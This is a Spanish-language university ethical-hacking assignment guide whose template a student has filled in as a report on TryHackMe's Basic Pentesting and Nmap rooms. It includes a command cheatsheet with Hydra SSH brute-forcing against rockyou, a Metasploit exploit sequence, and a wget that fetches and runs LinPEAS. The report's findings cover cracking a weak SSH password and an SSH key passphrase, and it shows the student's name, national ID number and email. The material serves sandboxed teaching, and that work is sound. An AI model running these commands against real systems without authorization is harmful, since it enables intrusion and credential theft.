Guía Práctica + Plantilla de Informe

Actividad A08 — Hacking Ético

Cliente: **INSECUR S.A.** — Laboratorio: TryHackMe

Seguridad Aplicada a Sistemas de Información
Licenciatura en Sistemas de Información — Facultad de Informática y Diseño Docente: Ing. Rodrigo Atilio Elgueta
Ciclo Académico Vigente

Índice

1. Contexto de la Contratación 3

2. Modelo de Trabajo: Núcleo + Sala de Elección 3

2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes) 3

2.2. Nivel 2 — Sala de elección (una por estudiante) 3

3. Configuración del Entorno 4

3.1. Requisitos previos 4

3.2. Conexión a la VPN de TryHackMe 4

3.3. Organización del trabajo en GitHub 5

4. Mecanismos de Control de Autenticidad 5

5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME 6

5.1. Flujo profesional del pentesting 6

5.2. Comandos base por fase (cheatsheet) 6

5.3. Checklist de resolución 7

6. PARTE II: PLANTILLA DE INFORME (rellenable) 7

6.1. Datos generales 8

6.2. Pre-pentesting 8

6.3. Durante: Hallazgos por fase 9

6.4. Resumen ejecutivo de hallazgos 10

6.5. Post-pentesting: Recomendaciones 10

7. PARTE III: PROTOCOLO DE CONTINGENCIA 10

8. Anexos 11

9. Rúbrica de Evaluación (A08) 12

10.Fuentes y bibliografía 12

1. Contexto de la Contratación

Carta de Autorización — INSECUR S.A.

Cliente: INSECUR S.A.
Contratista: Estudiante de Seguridad Aplicada a Sistemas de Información (FID-UCH).

Objeto del contrato: La compañía INSECUR S.A., preocupada por los niveles de seguridad de sus sistemas, contrata sus servicios profesionales de **Hacking Ético** para elaborar un plan de seguridad y contingencia.

Alcance autorizado: Únicamente los entornos de laboratorio de la plataforma **TryHackMe** asignados en esta guía. Cualquier acción fuera de este alcance queda estrictamente prohibida y constituye un delito conforme la legislación vigente.

Entregable: Informe profesional de pentesting, incluyendo documentación previa, durante y posterior a la intervención, más un protocolo de contingencia para garantizar la continuidad de negocio.

Modalidad: Individual.
Modalidad: Individual.
Repositorio de entrega: `https://github.com/UCHSeguridad2026/TP_THM.git` (crear un branch propio con el apellido-nombre).

Ética y Legalidad

Esta actividad se desarrolla en **entornos controlados (sandbox)**. Queda absolutamente prohibido aplicar las técnicas aprendidas contra sistemas reales sin autorización escrita. El incumplimiento será considerado falta ética grave y podrá derivar en sanciones académicas y legales.

2. Modelo de Trabajo: Núcleo + Sala de Elección

La actividad se estructura en dos niveles que garantizan una base común y, al mismo tiempo, diversidad en los casos trabajados.

2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes)

Núcleo Obligatorio

1. **Pentesting Fundamentals**
   `https://tryhackme.com/room/pentestingfundamentals`
   Metodología y fases del pentesting profesional.

2. **Basic Pentesting**
   `https://tryhackme.com/room/basicpentestingjt`
   Aplicación práctica completa: enumeración, explotación y escalada de privilegios.

2.2. Nivel 2 — Sala de elección (una por estudiante)

Cada estudiante elige **UNA** sala adicional de la siguiente lista curada de salas **gratuitas**. La elección debe quedar registrada en el informe (Sección 6.2).

Sala	Dificultad	Enfoque	Qué aporta
Vulnversity	Inicial	Web + explotación	Ideal como primera máquina
Kenobi	Inicial-Media	Samba + Linux PE	Enumeración y escalada
RootMe	Media	Web + PE	Multi-vulnerabilidad
OWASP Top 10	Media	Vulnerabilidades web	Complementa Juice Shop
Blue	Media	Windows PE (EternalBlue)	Entorno Windows
Overpass	Media	Web + Linux PE	Lógica de negocio
Nmap	Herramienta	Escaneo	Dominio de Nmap

¿Cómo elegir?

- Si es tu primera vez con TryHackMe: **Vulnversity**
- Si querés enfocarte en Windows: **Blue**.
- Si te interesa el hacking web: **OWASP Top 10**
- Si querés desafío Linux completo: **Kenobi** o **RootMe**.

3. Configuración del Entorno

3.1. Requisitos previos

1. Cuenta gratuita en `https://tryhackme.com` (username único del estudiante).
2. Kali Linux (VM, Live USB o WSL2) con las herramientas básicas: `nmap`, `gobuster`, `hydra`, `burpsuite`, `metasploit`, `wireshark`, `netcat`.
3. Cliente OpenVPN instalado (para la VPN de THM).
4. Cuenta de GitHub con acceso al repositorio de la cátedra.

3.2. Conexión a la VPN de TryHackMe

```
# 1. Descargar el archivo de configuracion desde THM (Account > Access)
# 2. Conectarse a la VPN
sudo openvpn --config ~/Downloads/<tu-usuario>.ovpn
```

Verificación de conectividad

Una vez conectado, probá con `ping` a la IP de la máquina objetivo que te asigna THM. Si no responde, revisá el estado de la VPN y la red de la facultad (algunas instituciones bloquean el puerto 1194/UDP).

```
# Clonar el repositorio de la catedra git clone
https://github.com/UCHSeguridad2026/TP_THM.git cd
TP_THM

# Crear tu branch personal (usar tu ApellidoNombre)
git checkout -b apellido-nombre

# Crear la estructura de carpetas mkdir -p
evidencias/{reconocimiento,escaneo,explotacion,post} mkdir -
p bitacora mkdir -p reportes
```

3.3. Organización del trabajo en GitHub

4. Mecanismos de Control de Autenticidad

Para garantizar la autoría del trabajo, debés cumplir con los siguientes mecanismos:

de TryHackMe

En la portada del informe debe figurar tu **username público de THM**. Este username es único y se ve en todas las capturas de la plataforma, por lo que vincula inequívocamente las evidencias con vos.

Exportá únicamente los comandos relevantes de tu sesión de Kali al finalizar cada clase. Revisá el archivo y eliminá contraseñas, tokens, claves privadas y cualquier dato personal antes de subirlo:

```
history | sed -E 's/(password|passwd|token|secret|api[_-]?key)[^ ]*/\1=[
    REDACTED]/Ig' > bitacora/clase_09_$(date +%Y%m%d).txt
```

Este archivo forma parte de los anexos del informe y demuestra el proceso real. La bitácora no reemplaza la revisión manual de secretos.

Evidencias con marca de identidad

Cada captura de pantalla crítica debe incluir visible:

El username de THM en la interfaz de la plataforma.

- La fecha y hora del sistema (visible en la barra de Kali).
- La IP de la máquina objetivo.
-

Hash de las flags

En lugar de publicar las flags completas (que circulan en writeups), incluí en el informe el **hash SHA-256** de cada flag obtenida. Así el docente puede verificar que la tenés sin que quede expuesta.

```
echo -n "thm{flag_obtenida}" | sha256sum
```

Commits firmados

Usá commits con tu identidad institucional, configurada solo en este repositorio:

```
git config user.name    "Tu Nombre Completo"
git config user.email    "tu.email@institucion.edu"
```

5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME

5.1. Flujo profesional del pentesting

Todo pentesting sigue las fases del marco metodológico. Cada fase tiene herramientas típicas y entregables:

Fase	Acciones típicas	Herramientas
Preengagement	Definir alcance, reglas de enfrentamiento, autorización	Plantilla, firma de ROE
Reconocimiento	OSINT, enumeración pasiva, descubrimiento de activos	theHarvester, whois, DNSdumpster
Escaneo	Descubrimiento de puertos, servicios y versiones	Nmap, Nikto, Gobuster
Enumeración	Análisis detallado de cada servicio encontrado	Netcat, enum4linux, SNMPwalk
Explotación	Aprovechar vulnerabilidades para obtener acceso	Metasploit, Searchsploit, Burp Suite
Postexplotación	Escalada de privilegios, movimiento lateral, persistencia	LinPEAS, WinPEAS, mimikatz
Reporte	Documentación, remediación, protocolo de contingencia	Plantilla de informe

```
# RECONOCIMIENTO Y ESCANEO nmap -sC -sV -oN
bitacora/nmap_inicial.txt <IP_OBJETIVO>
nmap -p- --min-rate 5000 -oN bitacora/nmap_puertos.txt <IP_OBJETIVO>

# ENUMERACION WEB
gobuster dir -u http://<IP_OBJETIVO> -w /usr/share/wordlists/dirb/common.txt
\
  -o bitacora/gobuster.txt nikto -h
http://<IP_OBJETIVO> -o bitacora/nikto.txt

#    ANALISIS    DE    TRAFICO
wireshark # GUI
tcpdump -i tun0 -w bitacora/captura_$(date +%H%M).pcap

# AUTENTICACION (solo si la sala lo autoriza y con limites)
# Preferi validar primero usuarios y politicas; documenta el alcance.
```

5.2. Comandos base por fase (cheatsheet)

```
hydra -l usuario -P /usr/share/wordlists/rockyou.txt <IP> ssh -t 4 -f

# EXPLOTACION CON METASPLOIT (solo contra la IP asignada por
THM) msfconsole search <servicio> use <exploit> set RHOSTS <IP>
set LHOST tun0 exploit

# POST-EXPLOTACION LINUX (solo si la sala lo requiere)
wget http://<tu-IP>:8000/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh > bitacora/linpeas.txt
```

5.3. Checklist de resolución

Para cada máquina, recorrela en este orden:

1. **Ping** a la IP objetivo (confirmar que está viva).
2. **Nmap** completo (todos los puertos + detección de servicios y versiones).
3. **Nikto** + **Gobuster** si hay web.
4. Anotar en la bitácora cada puerto, servicio y versión.
5. Buscar vulnerabilidades públicas para cada versión detectada (`searchsploit`, Google, CVE Details).
6. Probar exploits en orden de criticidad.
7. Al obtener shell, ejecutar `whoami`, `uname -a`, `sudo -l`.
8. Escalar privilegios (LinPEAS / WinPEAS).
9. Documentar cada hallazgo con captura + comando + evidencia.

6. PARTE II: PLANTILLA DE INFORME (rellenable)

Completá cada campo. Las celdas vacías se rellenan con texto o se dejan en blanco si no aplica. El informe completo se entrega como `reportes/informe_pentesting.pdf` en tu branch.

6.1. Datos generales

Campo	Valor
Cliente	INSECUR S.A.
Contratista (alumno/a)	Micaela Denis Chacón Olivares
DNI	44246077
Username TryHackMe	micaelachacon00
Email institucional	chaconmicaela@uch.edu.ar
Sala de elección (Nivel 2)	Nmap
Branch en GitHub	chacon-micaela
Fecha de inicio	01-10-2026
Fecha de cierre	08-10-2026

6.2. Pre-pentesting

Alcance del trabajo

El trabajo se realiza únicamente en los laboratorios de TryHackMe indicados por la cátedra: Pentesting Fundamentals, Basic Pentesting y Nmap. El objetivo es identificar posibles vulnerabilidades y aplicar los conocimientos adquiridos durante la materia.

Quedan fuera del alcance los sistemas, redes y equipos que no pertenezcan a los laboratorios autorizados.

Reglas de Enfrentamiento (ROE)

Las actividades se realizarán solamente dentro de las salas de TryHackMe. No se harán pruebas en páginas o sistemas ajenos a la plataforma, ni acciones que puedan afectar su funcionamiento.

También se respetarán los tiempos de uso de las máquinas y, si surge algún inconveniente durante las pruebas, se detendrá la actividad y se avisará al profesor.

Autorización

Las actividades se realizan con la autorización del profesor, como parte del trabajo práctico de Hacking Ético. Las pruebas están permitidas únicamente dentro de los laboratorios de TryHackMe indicados en la guía de la materia.

Metodología utilizada

Para realizar el trabajo se siguieron las etapas de la metodología PTES, ya que permite organizar las pruebas de seguridad paso a paso.

6.3. Durante: Hallazgos por fase

Para cada hallazgo relevante, completá una fila en la siguiente tabla (repetí la tabla si necesitás más filas).

Campo	Valor
ID del hallazgo	H-01
Fase	□ Reconocimiento □ Escaneo ■ Explotación □ Postexplotación

Descripción	Durante las pruebas de Basic Pentesting, se encontró una contraseña débil para el usuario JAN, lo que permitió ingresar a la máquina mediante SSH.
Componente afectado	Acceso SSH del usuario jan
Categoría (OWASP / CWE)	CWE-521: Contraseñas débiles
CVE (si aplica)	No aplica
CVSS estimado	□ Bajo □ Medio ■ Alto □ Crítico
Evidencia (captura / comando)	08_hydra_descifrado_contrasena_jan.png 09_ssh_acceso_usuario_jan.png
Herramienta utilizada	Hydra y SSH
Impacto en la Tríada CIA	■ Confidencialidad ■ Integridad □ Disponibilidad
Salvaguarda propuesta	Utilizar contraseñas más seguras y limitar los intentos de inicio de sesión.
Riesgo residual tras aplicar	■ Bajo □ Medio □ Alto

Campo	**Valor**
ID del hallazgo	H-02

Fase	□ Reconocimiento □ Escaneo □ Explotación ■ Postexplotación
Descripción	Durante las pruebas se encontró una clave SSH del usuario `kay`. Luego, utilizando John the Ripper, se logró descubrir la contraseña que protegía esa clave y acceder a su cuenta.
Componente afectado	Clave SSH del usuario KAY
Categoría (OWASP / CWE)	CWE-522: Protección insuficiente de credenciales
CVE (si aplica)	No se identificó una CVE específica.
CVSS estimado	□ Bajo □ Medio ■ Alto □ Crítico
Evidencia (captura / comando)	15_john_descifrado_clave_kay.png 16_ssh_acceso_usuario_kay.png 17_cat_pass_bak_hash_sha256.png
Herramienta utilizada	John the Ripper y SSH
Impacto en la Tríada CIA	■ Confidencialidad ■ Integridad □ Disponibilidad
Salvaguarda propuesta	Proteger mejor las claves SSH, utilizar contraseñas más seguras y evitar que otros usuarios puedan acceder a ellas.
Riesgo residual tras aplicar	■ Bajo □ Medio □ Alto

Campo	Valor
ID del hallazgo	H-03
Fase	□ Reconocimiento ■ Escaneo □ Explotación □ Postexplotación
Descripción	Durante la sala Nmap, se comprobó que el servidor FTP del laboratorio permitía iniciar sesión de forma anónima. No se pudo obtener el listado de archivos porque la consulta finalizó por tiempo de espera.
Componente afectado	Servicio FTP, puerto 21
Categoría (OWASP / CWE)	Configuración potencialmente insegura del servicio FTP
CVE (si aplica)	No se identificó una CVE específica.
CVSS estimado	□ Bajo ■ Medio □ Alto □ Crítico
Evidencia (captura / comando)	04_nmap_wireshark.png
Herramienta utilizada	Nmap, script `ftp-anon`
Impacto en la Tríada CIA	■ Confidencialidad □ Integridad □ Disponibilidad
Salvaguarda propuesta	Deshabilitar el acceso anónimo si no es necesario y restringir los permisos del servicio FTP.

Riesgo residual tras aplicar	■ Bajo □ Medio □ Alto

Resultados de la sala de elección: Nmap (Further Nmap)

Máquina objetivo del laboratorio: 10.65.171.129. Todas las pruebas se realizaron sobre el entorno autorizado de TryHackMe.

Ping: 4 paquetes enviados y 0 recibidos (100 % de pérdida). No respondió a ICMP (N).

Xmas Scan (puertos 1–999): 999 puertos open|filtered; motivo indicado por Nmap: no-response. Este estado no confirma que estén abiertos.

TCP SYN Scan (puertos 1–5000): 5 puertos abiertos: 21/FTP, 53/DNS, 80/HTTP, 135/MSRPC y 3389/RDP. Los demás 4995 figuraron como filtrados.

TCP Connect Scan: el puerto 80 estaba abierto. Wireshark permitió observar los paquetes TCP intercambiados con la máquina objetivo.

Script ftp-anon: el servidor permitió el inicio de sesión anónimo (FTP code 230); la obtención del listado de directorios finalizó por timeout. Respuesta de la sala: Y.

Evidencias: 01_nmap_ping, 02_nmap_xmas_scan, 03_nmap_syn_scan, 04_nmap_wireshark.png, 05_nmap_tcp_connect, 06_nmap_ftp_anon

6.4. Resumen ejecutivo de hallazgos

Severidad	Cantidad	ID de hallazgos
Crítico	0	
Alto	2	H-01, H-02
Medio	1	H-03
Bajo	0	
Total	**3**	H-01, H-02, H-03

6.5. Post-pentesting: Recomendaciones

Recomendaciones técnicas (parches y configuraciones)

Se recomienda cambiar las contraseñas débiles por otras más seguras, especialmente la del usuario jan, para evitar que otras personas puedan ingresar a su cuenta.

También es importante proteger mejor las claves SSH, como la del usuario kay, y utilizar contraseñas difíciles de descubrir.

Por último, se recomienda revisar la configuración del servicio FTP, ya que durante el escaneo con Nmap se comprobó que permitía el acceso anónimo. Si este acceso no es necesario, debería deshabilitarse y limitar los permisos para evitar accesos no deseados.

Recomendaciones administrativas (políticas y procesos)

Se recomienda establecer reglas para el uso de contraseñas seguras y evitar que las claves de acceso se compartan o queden al alcance de otras personas.

También sería importante realizar capacitaciones sobre seguridad informática y revisar periódicamente los accesos y las configuraciones de los sistemas para detectar posibles problemas a tiempo.

Además, se recomienda revisar periódicamente los servicios que permiten conexiones externas, para comprobar que sus accesos estén correctamente configurados y que no existan permisos innecesarios.

7. PARTE III: PROTOCOLO DE CONTINGENCIA

Escenario de falla

Durante las pruebas de contraseñas, como las que se realizaron con Hydra, podría ocurrir que se bloquee el acceso a una cuenta por demasiados intentos de inicio de sesión.

Si esto sucediera en un sistema real, el usuario afectado podría quedarse sin acceso hasta que se solucione el problema.

Impacto sobre la continuidad del negocio

Si una cuenta queda bloqueada, los empleados que la utilizan podrían tener dificultades para ingresar al sistema y realizar sus tareas habituales.

Se estima que la interrupción podría durar entre 30 minutos y 2 horas, dependiendo del tiempo que se tarde en recuperar el acceso.

Plan de respuesta

1. **Activación:** La falla se detecta cuando un usuario intenta ingresar al sistema y aparece un mensaje indicando que su cuenta está bloqueada.
2. **Contención:** Durante los primeros 15 minutos se detienen las pruebas y se avisa al encargado del sistema para evitar que el problema continúe.
3. **Recuperación:** Se revisa el motivo del bloqueo y se restablece el acceso a la cuenta, comprobando que el usuario pueda ingresar nuevamente.
4. **Comunicación:** Se informa al responsable de seguridad y al encargado del área afectada. Si es necesario, también se avisa a los usuarios que no pueden acceder.
5. **Post-mortem:** Se registra lo ocurrido, cuánto tiempo duró el problema y cómo se solucionó. Después se revisan las medidas de seguridad para evitar que vuelva a suceder.

RTO y RPO estimados

RTO (Recovery Time Objective): 2 horas.
RPO (Recovery Point Objective): 0 minutos, ya que el escenario planteado consiste en el bloqueo de una cuenta y no en la pérdida de información.

8. Anexos

Anexo A — Bitácora de comandos

La bitácora de comandos se encuentra en la carpeta bitácora/ de mi rama de GitHub. Fue elaborada a partir de las capturas guardadas durante las actividades.

Anexo B — Capturas de pantalla

Las capturas de pantalla se encuentran en la carpeta evidencias/ de mi rama de GitHub, organizadas según las etapas del trabajo: reconocimiento, escaneo, explotación y postexplotación.

.

Anexo C — Hashes de las flags obtenidas

```
Basic Pentesting — contenido recuperado de pass.bak

3ffd53ec80858f9ddcd75d69102724ab1bc1020855fff924227f618c4bfccf57
```

Anexo D — Declaración ética firmada

Declaro que todas las actividades se realizaron dentro del alcance autorizado, en entornos controlados y con fines exclusivamente académicos.

Micaela Denis Chacón Olivares — Firma del estudiante

14-10-2026 — Fecha

9. Rúbrica de Evaluación (A08)

Criterio	Peso	Descripción
A. Recopilación de información	10%	Uso de fuentes confiables y citadas correctamente.
B. Elaboración de documentos	25%	Cumplimiento del formato de esta plantilla.
C. Elaboración de presentaciones	10%	Argumentación sólida del caso y sus soluciones.
D. Integración de soluciones	25%	Parches y medidas integradas sobresalientemente.
E. Selección de herramientas	20%	Herramientas adecuadas y justificadas.
F. Consciencia de buenas prácticas	10%	Evidencia permanente de buenas prácticas y ética.

Checklist final antes del push

- ☐ Informe en `reportes/informe_pentesting.pdf`.
- ☐ Evidencias en `evidencias/` (por fase).
- ☐ Bitácoras en `bitacora/`.
- ☐ Branch nombrado `apellido-nombre`.
- ☐ Commits con tu identidad real.
- ☐ Pull Request hacia `main` del repo de la cátedra.

10. Fuentes y bibliografía

- TryHackMe. *Pentesting Fundamentals*: sala oficial
- TryHackMe. *Basic Pentesting*: sala oficial
- OWASP Foundation. *Web Security Testing Guide (WSTG)*: sitio oficial
- NIST (2008). *Technical Guide to Information Security Testing and Assessment (SP 800-115)*.
- Chicano Tejada, E. (2023). *Auditoría de seguridad informática. IFCT0109* (2.ª ed.). IC Editorial — eLibro.
- Evans, L. (2019). *Ethical Hacking: The Ultimate Guide to Using Penetration Testing...*. Amazon Digital Services LLC — KDP.
- White, A. & Clark, B. (2017). *BTFM: Blue Team Field Manual*. CreateSpace Independent Publishing Platform.